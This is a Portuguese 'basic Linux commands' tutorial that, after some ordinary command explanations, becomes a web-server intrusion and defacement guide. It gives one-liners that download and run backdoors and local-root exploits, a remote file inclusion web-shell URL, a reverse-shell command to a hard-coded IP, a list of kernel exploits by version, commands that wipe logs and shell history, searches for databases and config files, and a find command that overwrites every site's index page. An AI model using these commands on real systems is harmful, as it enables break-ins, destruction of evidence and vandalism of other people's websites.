Básico sobre comandos no Linux

8
Tutorial básico comandos linux Deixar bem claro sobre a leitura e voltada para iniciantes ao mundo do linux Peço desculpas pelos erros de ortografia porem de atenção a leitura Criado por Hualdo Para os que conhecem DOS alguns comandos de linux são fáceis de aprender Os comandos devem ser testados em ambiente linux, em um prompt de shell Mais o que é shell ? shell e um terminal linux onde poderá digitar os comandos como se fosse no DOS. ls Exibe os arquivos e subdiretorios do diretorio especificado ou atual ls [opções] Opções: -l: Exibe todas as informações referente ao arquivo e diretorio -a: Exibe arquivos, inclusive os ocultos ls -l :List com suas classificações ver permissoes grupos em linux -rwxr-xr-x 1 nobody nobody 16588 o nobody é dono do arquivo e o grupo dele é nobody -rwx permissão do dono r-x do grupo r-x de todos uname -a : Ver o que roda na máquina id : Sua identificação dentro do Servidor rm : Deleta o arquivo indicado rm -rf : Deleta Pasta cd : Entra no diretório cd .. : Sai do diretório cat : Pede informação do arquivo "abrir" find / -name : Após o -name vc indica o arquivo ex: index.htm ou você indica *.htm* ls -l lista tudo cd /tmp executar xploits e backdoors nesta pasta Atenção no /tmp normalmente terá permissão para executar xpl logo a frente vou explicar como procurar diretórios com permissão. passwd Serve para mudar a senha de usuário. A opção username somente poderá ser usada pelo root. passwd [username] pwd Exibe o caminho do diretorio corrente mkdir Cria um novo diretório mkdir <nome> rmdir Remove um diretório rmdir <nome> cp Copia arquivos cp [opções] <origem> <destino> mv Move e renomeia arquivos mv <origem> <destino> rm Remove Arquivos rm <arquivo> cat Ler o conteudo de um arquivo cat <arquivo> chmod Muda as pemissões de acesso de arquivos e diretorios chmod [Opções] <arquivo ou dir> Opções do formato simbolico

Transcript of Básico sobre comandos no Linux

Page 1: Básico sobre comandos no Linux

Tutorial básico comandos linux Deixar bem claro sobre a leitura e voltada para iniciantes ao mundo do linux Peço desculpas pelos erros de ortografia porem de atenção a leitura Criado por Hualdo Para os que conhecem DOS alguns comandos de linux são fáceis de aprender Os comandos devem ser testados em ambiente linux, em um prompt de shell Mais o que é shell ? shell e um terminal linux onde poderá digitar os comandos como se fosse no DOS. ls Exibe os arquivos e subdiretorios do diretorio especificado ou atual ls [opções] Opções: -l: Exibe todas as informações referente ao arquivo e diretorio -a: Exibe arquivos, inclusive os ocultos ls -l :List com suas classificações ver permissoes grupos em linux -rwxr-xr-x 1 nobody nobody 16588 o nobody é dono do arquivo e o grupo dele é nobody -rwx permissão do dono r-x do grupo r-x de todos uname -a : Ver o que roda na máquina id : Sua identificação dentro do Servidor rm : Deleta o arquivo indicado rm -rf : Deleta Pasta cd : Entra no diretório cd .. : Sai do diretório cat : Pede informação do arquivo "abrir" find / -name : Após o -name vc indica o arquivo ex: index.htm ou você indica *.htm* ls -l lista tudo cd /tmp executar xploits e backdoors nesta pasta Atenção no /tmp normalmente terá permissão para executar xpl logo a frente vou explicar como procurar diretórios com permissão. passwd Serve para mudar a senha de usuário. A opção username somente poderá ser usada pelo root. passwd [username] pwd Exibe o caminho do diretorio corrente mkdir Cria um novo diretório mkdir <nome> rmdir Remove um diretório rmdir <nome> cp Copia arquivos cp [opções] <origem> <destino> mv Move e renomeia arquivos mv <origem> <destino> rm Remove Arquivos rm <arquivo> cat Ler o conteudo de um arquivo cat <arquivo> chmod Muda as pemissões de acesso de arquivos e diretorios chmod [Opções] <arquivo ou dir> Opções do formato simbolico

Page 2: Básico sobre comandos no Linux

u: proprietario do aquivo g: grupo do proprietario o: outros usuarios +: adiciona uma ou mais permissões -: retira uma ou mais permissões r: permissão para leitura w: permissão para gravação x: permissão para execução Opções no formato abbsoluto 0: nenhuma permissão 1: permissão somente para execução 2: permissão somente para escrita 3: permissão para escrita e execução 4: permissão somente para leitura 5: permissão para leitura e execução 6: permissão para leitura q escrita 7: acesso completo Adicionar um usuario adduser nome_do_usuario -g root -G root -d /home/nome_do_usuario passwd nome_do_usuario Descompactando arquivos (os mais comuns) .tar -> tar xvf arquivo.tar .tar.gz -> tar zxvf arquivo.tar.gz .tar.bz2 -> tar jxvf arquivo.tar.bz2 .zip -> unzip arquivo.zip Compactando arquivos (os mais comuns) .tar -> tar cvf destino.tar ARQUIVO .tar.gz -> tar cvf destino.tar ARQUIVO | gzip destino.tar .tar.bz2 -> tar cvf destino.tar ARQUIVO | bzip2 destino.tar .zip -> zip destino.zip ARQUIVO Wget Server para baixar um arquivo wget http://www.site.com/arquivo versao e OS cat /proc/version find /var -type d -perm -7 -exec ls -ld {} \; 2> /dev/null - mostra permissoes diretórios Ira mostrar qual o processador e algumas informções interessantes cat /proc/cpuinfo | grep "model name" cat /proc/cpuinfo | grep processor Logs no Linux Qual a função dos arquivos de Logs do Linux ? - Os arquivos de logs registram tudo o que acontece com o kernel, com os daemons e utilitários do sistema, pois os arquivos com os logs gravam automaticamente entradas e saídas de admins, usuários ou invasores , comandos efetuados, alterações, mensagens ,

Page 3: Básico sobre comandos no Linux

ou seja eles gravam tudo de útil ao administrador do sistema em determinados arquivos específicos. Aonde estão os principais arquivos de logs? - Arquivos de Log de: / ou /root ou /home ou /home/user (depende do admin) Arquivo: bash_history ou .bash_history Registra: Ultimos Comandos digitados por um usuário (últimos 1000 para ser exato) - Arquivos de Log de : /var/log Arquivo: secure Registra: Operações efetuadas pelo TCP-Wrappers Arquivo: mail.log Registra: Envios e Recebimentos de E-Mail no sistema (ex.: Localmail ...) Arquivo: xferlog Registra: Logon e Logoff realizados pelo daemon de FTP - Arquivos de Log de : /var/log/wtmp /var/log/lastlog /var/run/utmp Arquivo: wtmp , utmp , lastlog ( funções semelhantes ) Registra: Logon de usuário - Arquivos de Log de : /var/log /var/adm Arquivo: messages Registra: Operações do sistema Como achar rapidamente os Logs? - Comandos como find são de grande utilidade para achar os arquivos logs de um sistema Linux: find / -name log Esse comando acha alguns dos arquivos de log citados acima e também outros que possam ser backups. Apagando Logs Alguns comandos úteis para apagar logs: rm -rf /var/log rm -rf /var/adm rm -rf /var/apache/log rm -rf $HISTFILE find / -name .bash_history -exec rm -rf {} \; find / -name .bash_logout -exec rm -rf {} \; find / -name log* -exec rm -rf {} \; find / -name *.log -exec rm -rf {} \; existem muitos outros arquivos de logs existentes no linux, isso vai variar de aplicação ou serviço utilizado

Page 4: Básico sobre comandos no Linux

Cmds Cmds são scripts que conseguem acesso para emular o /bin/sh assim permitindo que você execute comandos pelo navegador. Exemplo: www.sitevulneravel.com/index.php?page=http://www.sitedacmd.com/cmd.gif?&cmd=[Comandos] Existem muitas outras cmds mais elaboradas. Backdoors (Bds) Backdoors são programas q abrem uma porta no sistema para uma conecção remota sem autenticação, para baixar os backdoors no sistema vc deve usar comandos como wget, lynx, curl –O existem outros eh soh procurar mas esses são os mais comuns. Exemplo: cd /var/tmp; wget www.seusite.com/bd/r0nin; chmod 777 r0nin; ./r0nin cd /var/tmp Eh usado para ir para a pasta /var/tmp geralmente com permição wget www.seusite.com/bd/r0nin esse comando serve para baixar o bd no sistema chmod 777 r0nin esse eh para dar permição para qualquer usuario executar o arquivo ./r0nin Executa o arquivo r0nin Exploit (xpl) Exploits são programas que explorão falhas nos sistemas para te dar acesso root a varios tipos de exploits nois usaremos o exploit local, o exploit local eh rodado diretamente no sistema ou seja conectado a shell. root - Super Usuario / Administrador O usuario root tem acesso total ao sistema. Vc deve baixar o exploit na shell na msm sintaxe do backdoor. Exemplo: cd /var/tmp; wget www.sitedoxpl/xpl; chmod 777 xpl; ./xpl; Se tudo correr certo vc estara de root para conferir eh soh digitar "id" vc devera ver algo como: bash-2.05b# id uid=0(root) gid=0(root) Vou listar alguns backd com suas portas e alguns xpl (locais) Backdoor CGI conecta na porta - 44464 Backdoor BIND conecta na porta - 4561

Page 5: Básico sobre comandos no Linux

Backdoor Ronin conecta na porta - 1666 Backdoor Ronin conecta na porta - 666666 Backdoor lambida conecta na porta - 46025 Local Root p/ kernel 2.4.* até 2.4.29 elflbl - pwn Local Root p/ kernel 2.4.18 até 2.4.22 brk Local Root p/ kernel 2.4.23 e 2.4.24 - 2.6.3 e 2.6.4 mremap Local Root p/ kernel 2.2.* ptrace Backdoor para FreeBSD bind Local para freebsd 4.6 iosmash 2.4.17 RooTa Com: newlocal RooTa Com: kmod 2.4.18 RooTa Com: brk RooTa Com: newlocal RooTa Com: kmod RooTa Com: km.2 2.4.19 RooTa Com: brk RooTa Com: newlocal RooTa Com: kmod RooTa Com: km.2 2.4.20 RooTa Com: ptrace RooTa Com: kmod RooTa Com: km.2 RooTa Com: brk 2.4.21 RooTa Com: km.2 RooTa Com: brk RooTa Com: ptrace 2.4.22 RooTa Com: km.2

Page 6: Básico sobre comandos no Linux

RooTa Com: brk RooTa Com: ptrace 2.4.23 RooTa Com: mremap_pte 2.4.24 RooTa Com: mremap_pte 2.6.x krad expand_stack Conecção reversa burlar firewall Como burlar um firewall? Bom, voce rodou o backdor no site, porem ao tentar se conectar pela porta aberta, nao conseguiu? Simples: nc -vv -l -p 666 abra seu netcat, e digite: -vv -l -p porta ( "porta" pode ser qualquer uma ) no site: wget www.commandt.org/xpl/dc; chmod 777 dc; ./dc 200.162.201.97 666 reversa portas 80 22 90 53 666 2121 Bom, aqui voce fara com que o site conecte em voce.. no seu netcat pela porta aberta. Se não conseguir rodar back ou xpl no tmp executar o seguinte comando para ver diretórios com permissão find /var -type d -perm -7 -exec ls -ld {} \; 2> /dev/null - mostra permissoes diretorios Bem depois de ler sobre os comandos e provavelmente ter feito alguns vamos ao que interessa o DEFACE Dento do servidor Apache SSL!! temos um arquivo mtooooo importante.. nele que fica os dados do server... find / -name httpd.conf vá ate a pasta.. cat httpd.conf Para achar os sites no server cat httpd.conf | grep ServerName ou locate httpd.conf /home/httpd/vhosts/sitebugado.com/ (exemplo) para mostrar os diretorios dos sites cat /usr/local/apache/conf/httpd.conf | grep Document (exemplo)

Page 7: Básico sobre comandos no Linux

Para salvar a lista de sites Então no caso o site seria www.sitebugado.com para salvarmos a lista nele usaremos: cat httpd.conf | grep ServerName > /home/httpd/vhosts/sitebugado.com/LISTA.txt e depois eh soh ir no site e baixar o arquivo www.sitebugado.com/LISTA.txt cd /home/httpd/vhosts/ lista todos os sites # ServerAdmin - Indica sempre o popmail do admnisstrador # DocumentRoot - Hmmm pode ser dizer que é a paixão dos defacers!! kkk la dentro que fica as default`s, index.. etc.. logo apos indicando o caminho!! DocumentRoot "/home/httpd/html" # DirectoryIndex - Sempre vai indicar a page principal, dependendo.. .php .html .. eetc.. # ScriptAlias - Parte dos script.. CGI no caso!!! abaixo indicando o diretorio.. ScriptAlias /cgi-bin/ "/home/httpd/cgi-bin/" ps: Nem todos os httpd.conf são iguais. ps2: Olhem bem a parte de Document Root e Virtual Hosts ; ) Ahhh, sempre é bom explorar né ?? pode se encontrar arkivos interesantes.. find / -name *.db* find / -name *.mdb* find / -name *.dbf* locate *.mdb | more locate *.dbx | more locate *.shop | more locate *.sql | more locate *config.php | more locate *.txt pausadamente locate *.txt | more locate *.sql.gz locate *loja* locate *loja* ( se for br) Estando como root sempre pare os logs parando syslog killall -HUP syslogd killall -HUP klogd Bom agora iremos trocar as paginas do server pela sua pagina, primeiro faça a sua index e hospede em um server e depois baixe na shell Exemplo: cd /var/tmp; wget www.seusite.com/index.php mass via find

Page 8: Básico sobre comandos no Linux

find /pasta/onde/estão/os/sites -name "index.*" -exec cp /onde/está/sua/index.html {} \; exemplo Exemplo: find /home/httpd/vhosts -name "index.*" -exec cp /var/tmp/index.html {} \; ou find / -name "index.*" -exec cp /tmp/index.php {} \; find / -name "default.*" -exec cp /tmp/index.php {} \; find / -name "home.*" -exec cp /tmp/index.php {} \; find /www/ -name "index.*" -exec cp /tmp/index.php {} \; (exemplo) find /www/ -name "home.*" -exec cp /tmp/index.php {} \; (exemplo) find /www/ -name "default.*" -exec cp /tmp/index.php {} \; (exemplo) Este tutorial alguns textos retirei de outros tutoriais de alguns colegas que me ajudaram Quero agradecer a todos os colegas dessa vida como deface muitos amigos e outros inimigos mesmo assim desejo a todos muita felicidade.